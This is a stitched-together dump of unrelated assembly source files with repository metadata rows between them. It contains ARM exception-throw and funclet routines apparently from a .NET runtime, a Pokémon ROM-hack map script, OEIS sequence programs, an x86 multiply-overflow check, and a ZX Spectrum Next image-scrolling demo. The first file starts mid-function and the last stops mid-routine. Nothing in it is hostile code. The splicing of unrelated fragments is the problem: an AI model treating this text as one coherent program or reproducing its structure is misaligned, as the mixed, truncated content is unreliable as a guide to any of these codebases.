str lr, [sp, #(rsp_offsetof_Context + OFFSETOF__PAL_LIMITED_CONTEXT__IP)]
ClearThreadState
;; clear the Thread's hijack state
mov r3, #0
str r3, [r2, #OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation]
str r3, [r2, #OFFSETOF__Thread__m_pvHijackedReturnAddress]
NotHijacked
add r1, sp, #rsp_offsetof_ExInfo ;; r1 <- ExInfo*
mov r3, #0
str r3, [r1, #OFFSETOF__ExInfo__m_exception] ;; pExInfo->m_exception = null
mov r3, #1
strb r3, [r1, #OFFSETOF__ExInfo__m_passNumber] ;; pExInfo->m_passNumber = 1
mov r3, #0xFFFFFFFF
str r3, [r1, #OFFSETOF__ExInfo__m_idxCurClause] ;; pExInfo->m_idxCurClause = MaxTryRegionIdx
mov r3, #1
strb r3, [r1, #OFFSETOF__ExInfo__m_kind] ;; pExInfo->m_kind = ExKind.Throw
;; link the ExInfo into the thread's ExInfo chain
ldr r3, [r2, #OFFSETOF__Thread__m_pExInfoStackHead]
str r3, [r1, #OFFSETOF__ExInfo__m_pPrevExInfo] ;; pExInfo->m_pPrevExInfo = m_pExInfoStackHead
str r1, [r2, #OFFSETOF__Thread__m_pExInfoStackHead] ;; m_pExInfoStackHead = pExInfo
;; set the exception context field on the ExInfo
add r2, sp, #rsp_offsetof_Context ;; r2 <- PAL_LIMITED_CONTEXT*
str r2, [r1, #OFFSETOF__ExInfo__m_pExContext] ;; pExInfo->m_pExContext = pContext
;; r0: exception object
;; r1: ExInfo*
bl RhThrowEx
LABELED_RETURN_ADDRESS RhpThrowEx2
;; no return
__debugbreak
NESTED_END RhpThrowEx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; void FASTCALL RhpRethrow()
;;
;; SUMMARY: Similar to RhpThrowEx, except that it passes along the currently active ExInfo
;;
;; INPUT:
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpRethrow
;; Setup a PAL_LIMITED_CONTEXT on the stack {
PROLOG_VPUSH {d8-d15}
PROLOG_PUSH {r0,lr} ;; Reserve space for SP and store LR
PROLOG_PUSH {r0,r4-r11,lr}
;; } end PAL_LIMITED_CONTEXT
PROLOG_STACK_ALLOC STACKSIZEOF_ExInfo
;; Compute and save SP at callsite.
add r1, sp, #(STACKSIZEOF_ExInfo + SIZEOF__PAL_LIMITED_CONTEXT)
str r1, [sp, #(rsp_offsetof_Context + OFFSETOF__PAL_LIMITED_CONTEXT__SP)]
;; r2 = GetThread(), TRASHES r1
INLINE_GETTHREAD r2, r1
add r1, sp, #rsp_offsetof_ExInfo ;; r1 <- ExInfo*
mov r3, #0
str r3, [r1, #OFFSETOF__ExInfo__m_exception] ;; pExInfo->m_exception = null
mov r3, #1
strb r3, [r1, #OFFSETOF__ExInfo__m_passNumber] ;; pExInfo->m_passNumber = 1
mov r3, #0xFFFFFFFF
str r3, [r1, #OFFSETOF__ExInfo__m_idxCurClause] ;; pExInfo->m_idxCurClause = MaxTryRegionIdx
;; link the ExInfo into the thread's ExInfo chain
ldr r3, [r2, #OFFSETOF__Thread__m_pExInfoStackHead]
mov r0, r3 ;; r0 <- current ExInfo
str r3, [r1, #OFFSETOF__ExInfo__m_pPrevExInfo] ;; pExInfo->m_pPrevExInfo = m_pExInfoStackHead
str r1, [r2, #OFFSETOF__Thread__m_pExInfoStackHead] ;; m_pExInfoStackHead = pExInfo
;; set the exception context field on the ExInfo
add r2, sp, #rsp_offsetof_Context ;; r2 <- PAL_LIMITED_CONTEXT*
str r2, [r1, #OFFSETOF__ExInfo__m_pExContext] ;; pExInfo->m_pExContext = pContext
;; r0 contains the currently active ExInfo
;; r1 contains the address of the new ExInfo
bl RhRethrow
LABELED_RETURN_ADDRESS RhpRethrow2
;; no return
__debugbreak
NESTED_END RhpRethrow
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; void* FASTCALL RhpCallCatchFunclet(RtuObjectRef exceptionObj, void* pHandlerIP, REGDISPLAY* pRegDisplay,
;; ExInfo* pExInfo)
;;
;; INPUT: R0: exception object
;; R1: handler funclet address
;; R2: REGDISPLAY*
;; R3: ExInfo*
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpCallCatchFunclet
PROLOG_PUSH {r1-r11,lr} ;; r2 & r3 are saved so we have the REGDISPLAY and ExInfo later, r1 is
;; alignment padding, and we save the preserved regs
PROLOG_VPUSH {d8-d15}
#define rsp_offset_r2 (8 * 8) + 4
#define rsp_offset_r3 (8 * 8) + 8
;;
;; clear the DoNotTriggerGc flag, trashes r4-r6
;;
INLINE_GETTHREAD r5, r6 ;; r5 <- Thread*, r6 <- trashed
ClearRetry_Catch
ldrex r4, [r5, #OFFSETOF__Thread__m_ThreadStateFlags]
bic r4, #TSF_DoNotTriggerGc
strex r6, r4, [r5, #OFFSETOF__Thread__m_ThreadStateFlags]
cbz r6, ClearSuccess_Catch
b ClearRetry_Catch
ClearSuccess_Catch
;;
;; set preserved regs to the values expected by the funclet
;;
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR4]
ldr r4, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR5]
ldr r5, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR6]
ldr r6, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR7]
ldr r7, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR8]
ldr r8, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR9]
ldr r9, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR10]
ldr r10, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR11]
ldr r11, [r12]
#if 0 // def _DEBUG ;; @TODO: temporarily removed because trashing the frame pointer breaks the debugger
;; trash the values at the old homes to make sure nobody uses them
movw r3, #0xdeed
movt r3, #0xbaad
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR4]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR5]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR6]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR7]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR8]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR9]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR10]
str r3, [r12]
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR11]
str r3, [r12]
#endif // _DEBUG
;;
;; load vfp preserved regs
;;
add r12, r2, #OFFSETOF__REGDISPLAY__D
vldm r12!, {d8-d15}
;;
;; call the funclet
;;
;; r0 still contains the exception object
blx r1
LABELED_RETURN_ADDRESS RhpCallCatchFunclet2
;; r0 contains resume IP
ldr r2, [sp, #rsp_offset_r2] ;; r2 <- REGDISPLAY*
;; @TODO: add debug-only validation code for ExInfo pop
INLINE_GETTHREAD r1, r3 ;; r1 <- Thread*, r3 <- trashed
;; We must unhijack the thread at this point because the section of stack where the hijack is applied
;; may go dead. If it does, then the next time we try to unhijack the thread, it will corrupt the stack.
INLINE_THREAD_UNHIJACK r1, r3, r12 ;; Thread in r1, trashes r3 and r12
ldr r3, [sp, #rsp_offset_r3] ;; r3 <- current ExInfo*
ldr r2, [r2, #OFFSETOF__REGDISPLAY__SP] ;; r2 <- resume SP value
PopExInfoLoop
ldr r3, [r3, #OFFSETOF__ExInfo__m_pPrevExInfo] ;; r3 <- next ExInfo
cbz r3, DonePopping ;; if (pExInfo == null) { we're done }
cmp r3, r2
blt PopExInfoLoop ;; if (pExInfo < resume SP} { keep going }
DonePopping
str r3, [r1, #OFFSETOF__Thread__m_pExInfoStackHead] ;; store the new head on the Thread
;; reset SP and jump to continuation address
mov sp, r2
bx r0
NESTED_END RhpCallCatchFunclet
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; void FASTCALL RhpCallFinallyFunclet(void* pHandlerIP, REGDISPLAY* pRegDisplay)
;;
;; INPUT: R0: handler funclet address
;; R1: REGDISPLAY*
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpCallFinallyFunclet
PROLOG_PUSH {r1,r4-r11,lr} ;; r1 is saved so we have the REGDISPLAY later
PROLOG_VPUSH {d8-d15}
#define rsp_offset_r1 8 * 8
;;
;; We want to suppress hijacking between invocations of subsequent finallys. We do this because we
;; cannot tolerate a GC after one finally has run (and possibly side-effected the GC state of the
;; method) and then been popped off the stack, leaving behind no trace of its effect.
;;
;; So we clear the state before and set it after invocation of the handler.
;;
;;
;; clear the DoNotTriggerGc flag, trashes r1-r3
;;
INLINE_GETTHREAD r2, r3 ;; r2 <- Thread*, r3 <- trashed
ClearRetry
ldrex r1, [r2, #OFFSETOF__Thread__m_ThreadStateFlags]
bic r1, #TSF_DoNotTriggerGc
strex r3, r1, [r2, #OFFSETOF__Thread__m_ThreadStateFlags]
cbz r3, ClearSuccess
b ClearRetry
ClearSuccess
ldr r1, [sp, #rsp_offset_r1] ;; reload REGDISPLAY pointer
;;
;; set preserved regs to the values expected by the funclet
;;
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR4]
ldr r4, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR5]
ldr r5, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR6]
ldr r6, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR7]
ldr r7, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR8]
ldr r8, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR9]
ldr r9, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR10]
ldr r10, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR11]
ldr r11, [r12]
#if 0 // def _DEBUG ;; @TODO: temporarily removed because trashing the frame pointer breaks the debugger
;; trash the values at the old homes to make sure nobody uses them
movw r3, #0xdeed
movt r3, #0xbaad
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR4]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR5]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR6]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR7]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR8]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR9]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR10]
str r3, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR11]
str r3, [r12]
#endif // _DEBUG
;;
;; load vfp preserved regs
;;
add r12, r1, #OFFSETOF__REGDISPLAY__D
vldm r12!, {d8-d15}
;;
;; call the funclet
;;
blx r0
LABELED_RETURN_ADDRESS RhpCallFinallyFunclet2
ldr r1, [sp, #rsp_offset_r1] ;; reload REGDISPLAY pointer
;;
;; save new values of preserved regs into REGDISPLAY
;;
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR4]
str r4, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR5]
str r5, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR6]
str r6, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR7]
str r7, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR8]
str r8, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR9]
str r9, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR10]
str r10, [r12]
ldr r12, [r1, #OFFSETOF__REGDISPLAY__pR11]
str r11, [r12]
;;
;; store vfp preserved regs
;;
add r12, r1, #OFFSETOF__REGDISPLAY__D
vstm r12!, {d8-d15}
;;
;; set the DoNotTriggerGc flag, trashes r1-r3
;;
INLINE_GETTHREAD r2, r3 ;; r2 <- Thread*, r3 <- trashed
SetRetry
ldrex r1, [r2, #OFFSETOF__Thread__m_ThreadStateFlags]
orr r1, #TSF_DoNotTriggerGc
strex r3, r1, [r2, #OFFSETOF__Thread__m_ThreadStateFlags]
cbz r3, SetSuccess
b SetRetry
SetSuccess
EPILOG_VPOP {d8-d15}
EPILOG_POP {r1,r4-r11,pc}
NESTED_END RhpCallFinallyFunclet
INLINE_GETTHREAD_CONSTANT_POOL
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; void* FASTCALL RhpCallFilterFunclet(RtuObjectRef exceptionObj, void* pFilterIP, REGDISPLAY* pRegDisplay)
;;
;; INPUT: R0: exception object
;; R1: filter funclet address
;; R2: REGDISPLAY*
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpCallFilterFunclet
PROLOG_PUSH {r4-r11,lr}
PROLOG_VPUSH {d8-d15}
ldr r12, [r2, #OFFSETOF__REGDISPLAY__pR7]
ldr r7, [r12]
;;
;; call the funclet
;;
;; r0 still contains the exception object
blx r1
LABELED_RETURN_ADDRESS RhpCallFilterFunclet2
EPILOG_VPOP {d8-d15}
EPILOG_POP {r4-r11,pc}
NESTED_END RhpCallFilterFunclet
end
| 39.933457 | 116 | 0.528236 |
d17201c8861928c3c5d50ff70f01b2b1ecf0420a | 332 | asm | Assembly | maps/Route202.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | 1 | 2021-01-19T04:15:45.000Z | 2021-01-19T04:15:45.000Z | maps/Route202.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | null | null | null | maps/Route202.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | 1 | 2021-01-16T00:12:08.000Z | 2021-01-16T00:12:08.000Z | object_const_def ; object_event constants
Route202_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
Route202_MapEvents:
db 0, 0 ; filler
db 3 ; warp events
warp_event 0, 0, DEBUG_ROOM, 1
warp_event 0, 0, DEBUG_ROOM, 1
warp_event 0, 0, DEBUG_ROOM, 1
db 0 ; coord events
db 0 ; bg events
db 0 ; object events
| 15.809524 | 42 | 0.701807 |
7fd6db77d9294bc798eaf9d6452589cd60ba15df | 816 | asm | Assembly | programs/oeis/115/A115903.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/115/A115903.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/115/A115903.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A115903: Expansion of (1-12*x)^(-3/2).
; 1,18,270,3780,51030,673596,8756748,112586760,1435481190,18182761740,229102797924,2874198737592,35927484219900,447711726432600,5564417171376600,68998772925069840,853859814947739270,10547680067001485100,130088054159684982900,1602137088071909789400,19706286183284490409620,242105801680352310746760,2971298475167960177346600,36430703043363685652684400,446276112281205149245383900,5462419614321951026763498936,66809593744399247173492025448,816561701320435243231569199920,9973717923271030470899880941880,121748142925446371955122684600880,1485327343690445737852496752130736,18111410835967370609943347493723168,220732819563352329308684547579751110
add $0,1
mov $2,$0
mov $3,$0
cmp $3,$0
lpb $0
sub $0,1
add $1,2
mul $3,3
lpe
bin $1,$2
mul $2,$1
mul $3,$2
mov $0,$3
div $0,6
| 45.333333 | 641 | 0.855392 |
2e3eab0266b570a5f8aaae59fb245395e46aa2a0 | 588 | asm | Assembly | programs/oeis/253/A253130.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/253/A253130.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/253/A253130.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A253130: Number of length 2+2 0..n arrays with the sum of medians of adjacent triples multiplied by some arrangement of +-1 equal to zero.
; 12,53,152,345,676,1197,1968,3057,4540,6501,9032,12233,16212,21085,26976,34017,42348,52117,63480,76601,91652,108813,128272,150225,174876,202437,233128,267177,304820,346301,391872,441793,496332,555765,620376,690457
mov $2,$0
mov $3,$0
sub $4,$0
mul $0,4
add $4,2
mul $4,$3
add $4,$0
add $4,5
pow $4,2
div $4,3
mov $1,$4
add $1,4
mov $5,$2
mul $5,2
add $1,$5
mov $6,$2
mul $6,$2
mov $5,$6
mul $5,6
add $1,$5
mul $6,$2
mov $5,$6
mul $5,8
add $1,$5
| 21 | 214 | 0.688776 |
9996788d46a15895fcdcb75e202b6e4860a4f64b | 613 | asm | Assembly | oeis/213/A213820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/213/A213820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/213/A213820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A213820: Principal diagonal of the convolution array A213819.
; 2,18,60,140,270,462,728,1080,1530,2090,2772,3588,4550,5670,6960,8432,10098,11970,14060,16380,18942,21758,24840,28200,31850,35802,40068,44660,49590,54870,60512,66528,72930,79730,86940,94572,102638,111150,120120,129560,139482,149898,160820,172260,184230,196742,209808,223440,237650,252450,267852,283868,300510,317790,335720,354312,373578,393530,414180,435540,457622,480438,504000,528320,553410,579282,605948,633420,661710,690830,720792,751608,783290,815850,849300,883652,918918,955110,992240,1030320
mov $2,$0
add $0,2
add $2,$0
bin $2,2
mul $0,$2
| 68.111111 | 499 | 0.807504 |
eae3cbd4a1a8e97588c5944597dcff107a71169a | 363 | asm | Assembly | programs/oeis/040/A040316.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/040/A040316.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/040/A040316.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A040316: Continued fraction for sqrt(335).
; 18,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3,36,3,3,3
lpb $0,1
trn $0,3
mov $2,$0
trn $0,1
mov $1,7
mov $3,6
lpe
trn $1,1
add $1,5
pow $2,$3
pow $1,$2
add $1,$2
mul $1,3
| 21.352941 | 190 | 0.556474 |
cdc0befba0d695db45c80244e42b7d37a2eae7bc | 656 | asm | Assembly | untested/x86/mulStuff.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/x86/mulStuff.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/x86/mulStuff.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | %include "macros.inc"
global _isMulOk
global _saturatedMul
segment .text align=16
_isMulOk:
push ebp
mov ebp, [esp + 4 + 8]
test ebp, ebp
je .return1
mov ecx, [esp + 4 + 4]
test ecx, ecx
jne .continue
.return1:
mov eax, 1
pop ebp
ret
align 16
.continue:
xor edx, edx
mov eax, -1
div ebp
cmp ecx, eax
mov eax, 0
setbe al
pop ebp
ret
align 16
_saturatedMul:
mov ecx, [esp + 8]
test ecx, ecx
je .mulSafe
cmp dword [esp + 4], 0
je .mulSafe
xor edx, edx
mov eax, -1
div ecx
cmp eax, [esp + 4]
jb .returnMax
.mulSafe:
mov eax, [esp + 4]
imul eax, ecx
ret
align 16
.returnMax:
mov eax, -1
ret | 10.092308 | 23 | 0.618902 |
c309274a4bd8fb99a11ef359d83ef06c1c8f41c0 | 540 | asm | Assembly | programs/oeis/069/A069212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/069/A069212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/069/A069212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A069212: a(n) = Sum_{k=1..n} 3^omega(k).
; 1,4,7,10,13,22,25,28,31,40,43,52,55,64,73,76,79,88,91,100,109,118,121,130,133,142,145,154,157,184,187,190,199,208,217,226,229,238,247,256,259,286,289,298,307,316,319,328,331,340,349,358,361,370,379,388,397,406,409,436,439,448,457,460,469,496,499,508,517,544,547,556,559,568,577,586,595,622,625,634,637,646,649,676,685,694,703,712,715,742,751,760,769,778,787,796,799,808,817,826
lpb $0
mov $2,$0
sub $0,1
seq $2,74816 ; a(n) = 3^A001221(n) = 3^omega(n).
add $1,$2
lpe
add $1,1
mov $0,$1
| 45 | 379 | 0.666667 |
880c6fa00b9a1227999cdc9ab6f3e1247e26a700 | 13,169 | asm | Assembly | Layer2BigPic/bigpic.asm | ped7g/ZXSpectrumNextMisc | 0148cd8f0529bff4451f089fd7106ea06713e766 | [
"MIT"
] | 15 | 2019-04-06T20:38:41.000Z | 2022-02-27T16:50:31.000Z | Layer2BigPic/bigpic.asm | ped7g/ZXSpectrumNextMisc | 0148cd8f0529bff4451f089fd7106ea06713e766 | [
"MIT"
] | 7 | 2020-05-01T08:14:54.000Z | 2022-03-30T19:54:34.000Z | Layer2BigPic/bigpic.asm | ped7g/ZXSpectrumNextMisc | 0148cd8f0529bff4451f089fd7106ea06713e766 | [
"MIT"
] | 1 | 2020-08-23T17:36:20.000Z | 2020-08-23T17:36:20.000Z | ; "big pic" example, scrolling around 640x512 image in Layer2 320x256 mode
; © Peter Helcmanovsky 2020, license: https://opensource.org/licenses/MIT
; requires ZX Spectrum Next with core3.1.5+
;
; Assembles with sjasmplus - https://github.com/z00m128/sjasmplus (v1.14.4+)
; Does use imagemagick "convert" tool to prepare image data for direct INCBIN
; The Makefile has the full-rebuild instructions
OPT reset --zxnext --syntax=abfw
DEVICE ZXSPECTRUMNEXT
MMU 0 n, 9*2 : ORG 0 ; include bigpic data into 16ki banks 9-28 (8ki pages 18-57)
bigpic_top:
INCBIN "bigpic_top.tga", 0x12 + 3*256, 256*640
bigpic_bot:
INCBIN "bigpic_bot.tga", 0x12 + 3*256, 256*640
l2buf_top: ; will land to bank 29-33 (5 banks needed for regular 320x256 layer2 image)
ASSERT 29*2 == $$l2buf_top
BLOCK 320*256, 0 ; top area buffer (80kiB) (zero filled = not saved to NEX)
l2buf_bot: ; lands to banks 34-38
ASSERT 34*2 == $$l2buf_bot
BLOCK 320*256, 0 ; bottom area buffer (80kiB) (for simple HW scroll)
ASSERT 39*2 == $$ && 0 == $ ; verify everything did place as expected
BORDER MACRO color?
ld a,color?
out (254),a
ENDM
ORG $E000
start:
di
nextreg 7,3 ; 28MHz ; TURBO_CONTROL_NR_07
call ResetDma ; resets DMA into known state (for simpler transfer init later)
nextreg $12,$$l2buf_top/2 ; Layer 2 from bank where l2buf starts (29) ; LAYER2_RAM_BANK_NR_12
nextreg $70,%00'01'0000 ; 320x256x8 mode, palette offset +0 ; LAYER2_CONTROL_NR_70
nextreg $69,%1'0'000000 ; Layer 2 ON, ULA shadow off, Timex = 0 ; DISPLAY_CONTROL_NR_69
nextreg $71,0 ,, $16,0 ,, $17,0 ; layer2 X/Y offset = [+0, +0] ; LAYER2_XOFFSET_MSB_NR_71, LAYER2_XOFFSET_NR_16, LAYER2_YOFFSET_NR_17
nextreg $1C,1 ,, $18,0 ,, $18,159 ,, $18,0 ,, $18,255 ; layer2 clip 320x256 ; CLIP_WINDOW_CONTROL_NR_1C, CLIP_LAYER2_NR_18
nextreg $64,33 ; offset video-line numbering 33 lines up into top border ; VIDEO_LINE_OFFSET_NR_64
; scanlines 1..32 = top BORDER, 33..224 = PAPER, 225..256 = bottom BORDER
; copy the initial image data for offset [+0,+0] from the source memory - top part
ld a,$$l2buf_top
ex af,af'
ld a,$$bigpic_top
call Copy80k
; copy bottom part (offset [+0, +256]) from source memory
ld a,$$l2buf_bot
ex af,af'
ld a,$$bigpic_bot
call Copy80k
; set up the copper (will be used for vertical scrolling)
call InitCopper
; now do the scrolling 0..639,0..511 (640x512 big image)
BounceScrollLoop:
BORDER 0
call WaitForScanlineUnderUla
BORDER 3
call ScrollVertical
BORDER 4
call ScrollHorizontal
jr BounceScrollLoop
scrollXpos dw 0
scrollYpos dw 0
deltaX dw 1
deltaY dw 1
highAddrToPage:
; IN: HL = 000P PPPP PPPo oooo (P = 8ki page, O = offset/256) (top 16b of 24b address)
; OUT: A = PPPP PPPP, HL = 000o oooo 0000 0000
ld a,l
ex af,af
ld a,l
and $1f
ld l,a
ex af,af
xor l
or h
rlca
rlca
rlca ; A = PPPP PPPP (18..57 actively used for source data)
ld h,l
ld l,0
ret
ScrollHorizontal:
; draw deltaX new columns into Layer2 VRAM (at current scrollXpos)
ld hl,(scrollXpos)
ld de,(deltaX)
ld a,e
or a
ret z ; no scrolling (deltaX == 0)
jp p,.positiveDeltaX ; for positive deltaX the column to overdraw is Xpos
add hl,de ; for negative deltaX the column to overdraw is Xpos+deltaX
add hl,-320 ; and for negative deltaX the source of data is left side
ld d,10 ; for source data -> l2buffer page calculation D=10 (deltaX<0) or 0 (deltaX>0)
neg ; A=abs(deltaX)
.positiveDeltaX:
ld b,a ; number of columns to copy at columns [HL .. HL+(b-1)]
ld c,0 ; BC = column*256 = amount of bytes to copy
add hl,$$bigpic_top*32+320 ; add page of first column on right side (source data)
; here HL = addressOfSourceColumn/256 (8kiB page 18..37 in top 11 bits, offset in bottom 5 bits)
call highAddrToPage
; map 0000..3FFF address space to "top" source data 8kiB pages (HL is already address)
nextreg $50,a
inc a
nextreg $51,a
; calculate source pages number for "bottom" source data and store it
add a,$$bigpic_bot-$$bigpic_top-1
ld (.bottomSrcPage),a
; map 4000..7FFF address space to l2buffer "top" page
add a,$$l2buf_top-($$bigpic_bot+10)
add a,d
nextreg $52,a
inc a
nextreg $53,a
add a,10-1
ld (.bottomDstPage),a
call CopyColumns
BORDER 5
; remap the memory for "bottom" parts and do the same copy again
.bottomSrcPage=$+1: ld a,0
nextreg $50,a
inc a
nextreg $51,a
.bottomDstPage=$+1: ld a,0
nextreg $52,a
inc a
nextreg $53,a
call CopyColumns
; scroll the scrollXpos value from 0 to 320 and back
ld hl,(scrollXpos)
ld de,(deltaX)
add hl,de
ld (scrollXpos),hl
; flip delta at HL==0 {0,0} or HL==320 {1,64}
ld a,h
rrca
rrca ; A = 64 (if H==1) or 0 (if H==0)
xor l ; A == 0 when HL==0 or HL==320
jr nz,.notAtEdgeYet
; set Layer2 X-offset next registers to 0 (for both 0 and 320 Xpos)
nextreg $16,a ; this is done here with zero
nextreg $71,a ; because setting $71+$16 to "320" (64, 1) is not valid
ld a,d
cpl
ld d,a
ld a,e
neg
ld e,a
ld (deltaX),de
ret
.notAtEdgeYet:
